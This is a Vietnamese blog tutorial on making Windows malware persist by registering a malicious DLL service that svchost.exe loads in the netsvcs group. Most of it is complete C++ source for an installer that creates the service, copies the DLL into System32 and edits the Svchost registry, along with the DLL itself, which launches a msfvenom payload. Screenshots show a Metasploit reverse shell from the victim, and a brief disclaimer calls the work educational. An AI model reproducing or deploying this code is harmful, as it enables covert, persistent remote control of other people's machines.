## Mở đầu Xin chào các độc giả, mình là Syaoren! Trong bài viết trước, mình đã chia sẻ cách thực hiện cơ chế persistence và privilege escalation thông qua executable service. Tiếp nối bài viết đó, hôm nay mình sẽ hướng dẫn cách sử dụng DLL service để triển khai cơ chế persistence và privilege escalation. Trước khi bắt đầu đọc bài viết này, bạn có thể tham khảo bài viết trước của mình [tại đây](https://hackmd.io/@LeNhutHoang2112/Sk0e0ACk0) để nắm rõ các khái niệm cơ bản về service. :alien: <div style="text-align:center;"> <img src="https://www.theodysseyonline.com/media-library/image.gif?id=10758471&width=1000&quality=80" alt=""> </div> ## Cơ sở lý thuyết Services không chỉ có thể được triển khai dưới dạng các tập tin thực thi độc lập mà còn có thể được triển khai dưới dạng các tập tin DLL. DLL service được triển khai thông qua process **svchost.exe**, nó sẽ nạp các DLL service vào bộ nhớ của mình. Điều này có nghĩa là **svchost.exe** là một process được dùng để triển khai nhiều service đồng thời, với mỗi service tương ứng với một tập tin DLL. Thông thường, **svchost.exe** sẽ triển khai các service có đặc điểm tương tự nhau, chẳng hạn như các service liên quan đến mạng sẽ được nhóm lại và nạp cùng một lúc trong process **svchost.exe**. Cách triển khai này mang lại nhiều lợi ích như quản lý dễ dàng hơn và sử dụng ít bộ nhớ hơn so với việc triển khai từng service dưới dạng các process riêng biệt. Tuy nhiên, nếu một service trong **svchost.exe** gặp lỗi, toàn bộ các service khác do cùng một **svchost.exe** quản lý có thể cũng bị ảnh hưởng do chúng dùng chung một process. Việc lựa chọn giữa DLL service hoặc executable service sẽ phụ thuộc vào mục đích cụ thể của từng người sử dụng. Giống như executable service, DLL service cũng lưu trữ thông tin trong key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services`. Quan sát hình ảnh dưới, ta có thể thấy trường **ImagePath** của service **CertPropSvc** có giá trị `%SystemRoot%\system32\svchost.exe -k netsvcs`, trong đó **netsvcs** là tên nhóm service mà **CertPropSvc** thuộc về. ![image](https://hackmd.io/_uploads/B1uZAgYlR.png) Thêm vào đó, key tương ứng với service **CertPropSvc** còn có một subkey là **Parameters**, nó có trường giá trị **ServiceDll** chứa đường dẫn đến tập tin DLL thực thi service này. Ngoài ra, còn có một trường **ServiceMain** với giá trị là tên của hàm khởi đầu DLL service. Nếu không xác định giá trị cho trường này, hàm mặc định bắt đầu của DLL service sẽ là **ServiceMain()**. ![image](https://hackmd.io/_uploads/ryzBCgYgA.png) Để xem thông tin của các nhóm service, ta có thể kiểm tra key value của key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost`. Mỗi key value của key này sẽ tương ứng với một nhóm service. Hình bên dưới minh họa các DLL service thuộc nhóm service **netsvcs**. ![image](https://hackmd.io/_uploads/ryE5Rgtl0.png) ## Triển khai cụ thể Về việc triển khai cụ thể trong bài viết này, mình muốn thêm một DLL service độc hại vào trong nhóm service **netsvcs**. Điều này cho phép khi hệ thống của victim khởi động, service độc hại sẽ được thực thi thông qua process **svchost.exe** tương ứng với nhóm service **netsvcs**. Để DLL service có thể thực thi, trước tiên ta cần cài đặt nó lên máy tính victim. Cài đặt DLL service có thể được thực hiện bằng cách sử dụng công cụ **sc** và **Registry** của Windows. Tuy nhiên, vì mình là người yêu thích lập trình, nên mình muốn thực hiện việc này bằng WinAPI. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: Một điều quan trọng cần phải nhớ là để cài đặt một service thì process của ta cần có quyền **ADMIN**. Vì vậy, ta cần kiểm tra xem process hiện tại có quyền **ADMIN** hay không trước khi thực hiện thao tác cài đặt service. Việc này có thể được thực hiện thông qua việc gọi API **OpenProcessToken()** để lấy token của process hiện tại và sau đó sử dụng API **GetTokenInformation()** để lấy thông tin về quyền hạn của process từ token đó. ```cpp= BOOL IsRunningElevated() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE; DWORD elevation = 0, elevationLen = 0; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen); CloseHandle(hToken); return elevation ? TRUE : FALSE; } ``` Nếu process hiện tại có quyền **ADMIN**, tiếp theo ta sẽ gọi hàm **InstallService()** để tiến hành cài đặt DLL service độc hại lên máy victim. Để làm điều này, ta cần gọi API **OpenSCManagerW()** để lấy handle tương tác với **SCM**. Tiếp theo, sử dụng API **CreateServiceW()** và **ChangeServiceConfig2W()** để tạo và thiết lập thông tin mô tả cho DLL service. Tiếp theo, ta tạo một subkey **Parameters** cho key đã tạo trước đó bằng API **RegCreateKeyExW()**. Sau đó, ta di chuyển DLL service độc hại vào thư mục hệ thống bằng API **MoveFile()**. Cuối cùng, ta tạo key value **ServiceDll** để lưu trữ đường dẫn đến DLL service bằng API **RegSetValueExW()**. ```cpp= BOOL InstallService() { LSTATUS status = 0; BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; SERVICE_DESCRIPTION description = { 0 }; HKEY hKey = NULL; WCHAR path[] = L"C:\\Windows\\System32\\svchost.exe -k netsvcs"; do { if (!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM"); // Create new service if(!(hService = CreateServiceW(hSCM, L"Syaoren", NULL, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_SHARE_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL))) BREAK_WITH_ERROR("Failed to create service"); // Set description for new service description.lpDescription = L"No System Is Safe"; if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description)) BREAK_WITH_ERROR("Failed to set up description"); // Create subkey "Parameters" WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\services\\Syaoren\\Parameters"; if((status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to create parameter key", status); // Move DLL service to system directory WCHAR DLLPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Syaoren.dll"; WCHAR newDLLPath[] = L"C:\\Windows\\System32\\Syaoren.dll"; MoveFileW(DLLPath, newDLLPath); // Set DLL service path if ((status = RegSetValueExW(hKey, L"ServiceDll", 0, REG_EXPAND_SZ, (CONST BYTE*)newDLLPath, wcslen(newDLLPath) * 2)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to set ServiceDll key value", status); returnStatus = TRUE; } while (0); if (hKey) RegCloseKey(hKey); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } ``` Dưới đây là hình mô tả của key **Syaoren** tương ứng với DLL service **Syaoren** mà ta vừa tạo. ![service_path](https://hackmd.io/_uploads/SJjcIlKx0.png) Hơn nữa, subkey **Parameters** của key **Syaoren** đã được tạo ra. Trong subkey này, key value **ServiceDll** lưu trữ đường dẫn đến tập tin DLL của service **Syaoren**. ![dll_path](https://hackmd.io/_uploads/ByUnIeFlC.png) Bên cạnh việc tạo ra DLL service độc hại, ta cần thêm nó vào nhóm service tương ứng. Nếu không thực hiện bước này, DLL service sẽ không được nạp lên bởi vì **svchost.exe** sẽ không nhận biết được DLL service này thuộc nhóm nào. Điều này có thể được thực hiện thông qua đoạn mã bên dưới, đoạn mã này cơ bản là thêm tên service **Syaoren** vào giá trị **netsvcs** của key `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost` bằng cách sử dụng các API **RegCreateKeyExW()**, **RegQueryValueExW()**, và **RegSetValueExW()**. ```cpp= BOOL AddServiceToGroup() { BOOL returnStatus = FALSE; LSTATUS status = 0; HKEY hKey = NULL; UINT_PTR finalData = NULL; do { // Open "Svchost" key for read and write data WCHAR newKeyPath[] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; if((status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, newKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_READ | KEY_WOW64_64KEY, NULL, &hKey, NULL)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to create key", status); // Query data size DWORD dataType = 0, dataSize = 0; if((status = RegQueryValueExW(hKey, L"netsvcs", NULL, &dataType, NULL, &dataSize)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to query value key", status); // Allocate buffer for new data WCHAR newData[] = L"Syaoren"; if (!(finalData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dataSize + sizeof(newData) + sizeof(WCHAR)))) BREAK_WITH_ERROR("Failed to allocate buffer"); // Get registry data if((status = RegQueryValueExW(hKey, L"netsvcs", NULL, &dataType, finalData, &dataSize)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to query value key", status); // Prepare new data RtlCopyMemory(finalData + dataSize - sizeof(WCHAR), newData, sizeof(newData)); *((LPWSTR)(finalData + dataSize - sizeof(WCHAR) + sizeof(newData))) = L'\0'; // Set new data if((status = RegSetValueExW(hKey, L"netsvcs", 0, REG_MULTI_SZ, finalData, dataSize + sizeof(newData))) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to set value key", status); returnStatus = TRUE; } while (0); if (finalData) HeapFree(GetProcessHeap(), 0, finalData); if (hKey) RegCloseKey(hKey); return returnStatus; } ``` Khi đoạn mã trên được thực hiện thành công, ta có thể thấy tên service **Syaoren** đã được thêm vào key value **netsvcs** như mong muốn. Điều này cho thấy rằng **Syaoren** hiện là một phần của nhóm service **netsvcs**, và **svchost.exe** sẽ nạp DLL service này khi hệ thống khởi động. Hình ảnh bên dưới sẽ minh họa chi tiết sự thay đổi này trong key value **netsvcs** thuộc `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost`. ![image](https://hackmd.io/_uploads/BJfDvgFxR.png) Dưới đây là toàn bộ đoạn code được dùng để thêm một DLL service độc hại vào hệ thống victim. ```cpp= #include<stdio.h> #include<Windows.h> #define BREAK_WITH_ERROR(m) {printf("[-] %s! Error code 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Status code 0x%x", m, s); break;} BOOL IsRunningElevated(); BOOL InstallService(); BOOL AddServiceToGroup(); int main(int argc, const char* argv[]) { if (IsRunningElevated()) if (InstallService()) AddServiceToGroup(); return 0; } BOOL IsRunningElevated() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE; DWORD elevation = 0, elevationLen = 0; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen); CloseHandle(hToken); return elevation ? TRUE : FALSE; } BOOL InstallService() { LSTATUS status = 0; BOOL returnStatus = FALSE; SC_HANDLE hSCM = NULL, hService = NULL; SERVICE_DESCRIPTION description = { 0 }; HKEY hKey = NULL; WCHAR path[] = L"C:\\Windows\\System32\\svchost.exe -k netsvcs"; do { if (!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) BREAK_WITH_ERROR("Failed to open SCM"); // Create new service if(!(hService = CreateServiceW(hSCM, L"Syaoren", NULL, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_SHARE_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL))) BREAK_WITH_ERROR("Failed to create service"); // Set description for new service description.lpDescription = L"No System Is Safe"; if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description)) BREAK_WITH_ERROR("Failed to set up description"); // Create subkey "Parameters" WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\services\\Syaoren\\Parameters"; if((status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to create parameter key", status); // Move DLL service to system directory WCHAR DLLPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\Syaoren.dll"; WCHAR newDLLPath[] = L"C:\\Windows\\System32\\Syaoren.dll"; MoveFileW(DLLPath, newDLLPath); // Set DLL service path if ((status = RegSetValueExW(hKey, L"ServiceDll", 0, REG_EXPAND_SZ, (CONST BYTE*)newDLLPath, wcslen(newDLLPath) * 2)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to set ServiceDll key value", status); returnStatus = TRUE; } while (0); if (hKey) RegCloseKey(hKey); if (hService) CloseServiceHandle(hService); if (hSCM) CloseServiceHandle(hSCM); return returnStatus; } BOOL AddServiceToGroup() { BOOL returnStatus = FALSE; LSTATUS status = 0; HKEY hKey = NULL; UINT_PTR finalData = NULL; do { // Open "Svchost" key for read and write data WCHAR newKeyPath[] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; if((status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, newKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_READ | KEY_WOW64_64KEY, NULL, &hKey, NULL)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to create key", status); // Query data size DWORD dataType = 0, dataSize = 0; if((status = RegQueryValueExW(hKey, L"netsvcs", NULL, &dataType, NULL, &dataSize)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to query value key", status); // Allocate buffer for new data WCHAR newData[] = L"Syaoren"; if (!(finalData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dataSize + sizeof(newData) + sizeof(WCHAR)))) BREAK_WITH_ERROR("Failed to allocate buffer"); // Get registry data if((status = RegQueryValueExW(hKey, L"netsvcs", NULL, &dataType, finalData, &dataSize)) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to query value key", status); // Prepare new data RtlCopyMemory(finalData + dataSize - sizeof(WCHAR), newData, sizeof(newData)); *((LPWSTR)(finalData + dataSize - sizeof(WCHAR) + sizeof(newData))) = L'\0'; // Set new data if((status = RegSetValueExW(hKey, L"netsvcs", 0, REG_MULTI_SZ, finalData, dataSize + sizeof(newData))) != ERROR_SUCCESS) BREAK_WITH_STATUS("Failed to set value key", status); returnStatus = TRUE; } while (0); if (finalData) HeapFree(GetProcessHeap(), 0, finalData); if (hKey) RegCloseKey(hKey); return returnStatus; } ``` Còn về chức năng của DLL service, hàm đầu tiên được thực thi là **ServiceMain()**. Hàm này trước hết gọi API **RegisterServiceCtrlHandlerW()** để đăng ký hàm handler cho service độc hại. Sau đó, nó tạo ra một event để handler có thể tương tác với DLL service. Tiếp theo, API **SetStatus()** được gọi để thiết lập trạng thái ban đầu của DLL service thành `start pending`. Cuối cùng, hàm **RunPayload()** được gọi để thực hiện các hành vi độc hại. Khi tác vụ độc hại hoàn tất, service sẽ thiết lập trạng thái của nó thành `running` và chờ đợi handler kích hoạt event để kết thúc quá trình thực thi. ```cpp= __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) { RtlZeroMemory(&g_Status, sizeof(g_Status)); g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; BOOL error = TRUE; HANDLE hThread; DWORD threadId; do { if (!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", ServiceHandler))) break; if (!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL))) break; SetStatus(SERVICE_START_PENDING); RunPayload(); error = TRUE; } while (0); if (!error) SetStatus(SERVICE_STOPPED); SetStatus(SERVICE_RUNNING); while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000)); SetStatus(SERVICE_STOPPED); if (g_hStopEvent) CloseHandle(g_hStopEvent); } ``` Hàm **RunPayload()** có chức năng đơn giản, được sử dụng để khởi tạo process mới **payload_x64.exe** bằng API **CreateProcessW()**. Process này sẽ được dùng để giao tiếp với attacker. ```cpp= VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } ``` Đối với hàm handler, để đơn giản thì nó chỉ xử lý hai lệnh điều khiển là **SERVICE_CONTROL_STOP** và **SERVICE_CONTROL_SHUTDOWN**. Khi handler nhận được các lệnh điều khiển này, nó sẽ kích hoạt event để cho service độc hại kết thúc quá trình thực thi. ```cpp= VOID SetStatus(DWORD status) { g_Status.dwCurrentState = status; g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; SetServiceStatus(g_hService, &g_Status); } VOID WINAPI ServiceHandler(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; case SERVICE_CONTROL_SHUTDOWN: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; } return; } ``` Dưới đây là toàn bộ code triển khai chức năng của DLL service độc hại. ```cpp= #include"pch.h" HANDLE g_hStopEvent; SERVICE_STATUS g_Status; SERVICE_STATUS_HANDLE g_hService; VOID RunPayload() { WCHAR appPath[] = L"C:\\Users\\Syaoren\\Desktop\\PoC\\payload_x64.exe"; HANDLE hProcess; PROCESS_INFORMATION pi; STARTUPINFOW si; RtlZeroMemory(&pi, sizeof(pi)); RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return; WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } VOID SetStatus(DWORD status) { g_Status.dwCurrentState = status; g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; SetServiceStatus(g_hService, &g_Status); } VOID WINAPI ServiceHandler(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; case SERVICE_CONTROL_SHUTDOWN: SetStatus(SERVICE_STOP_PENDING); SetEvent(g_hStopEvent); break; } return; } __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) { RtlZeroMemory(&g_Status, sizeof(g_Status)); g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; BOOL error = TRUE; HANDLE hThread; DWORD threadId; do { if (!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", ServiceHandler))) break; if (!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL))) break; SetStatus(SERVICE_START_PENDING); RunPayload(); error = TRUE; } while (0); if (!error) SetStatus(SERVICE_STOPPED); SetStatus(SERVICE_RUNNING); while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000)); SetStatus(SERVICE_STOPPED); if (g_hStopEvent) CloseHandle(g_hStopEvent); } ``` ## Kết quả Vê quá trình thực nghiệm, ở phía attacker thì ta dùng msfvenom để tạo chương trình **payload_x64.exe**. ![image](https://hackmd.io/_uploads/ryPpfgKgC.png) Ngoài ra, ta cũng chuẩn bị handler trong metasploit để lắng nghe kết nối đến từ victim. ![image](https://hackmd.io/_uploads/BkZGXxFeC.png) Khi máy victim khởi động, thì handler của attacker sẽ nhận kết nối được khởi tạo từ victim. Kết nối này sẽ cung cấp cho ta reverse shell của máy victim. ![image](https://hackmd.io/_uploads/HkFKVeYx0.png) Trên máy victim, ta có thể thấy process **svchost.exe** tương ứng với nhóm dịch vụ **netsvcs** đã khởi tạo process **payload_x64.exe**. Ngoài ra, process này cũng khởi tạo **cmd.exe** để cung cấp reverse shell cho attacker. Kiểm tra các DLL được **svchost.exe** nạp vào bộ nhớ, ta có thể thấy rằng nó đã nạp **Syaoren.dll** độc hại của chúng ta. ![image](https://hackmd.io/_uploads/ByQIrxtgA.png) ## Kết luận Trong bài viết này, mình đã trình bày những kết quả nghiên cứu của bản thân về cách triển khai cơ chế persistence và privilege escalation cho malware. Mình hy vọng rằng những nghiên cứu này sẽ hỗ trợ những ai đang tìm hiểu và nghiên cứu về lĩnh vực malware. :face_with_cowboy_hat: :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo 1. https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create 2. https://attack.mitre.org/techniques/T1569/002/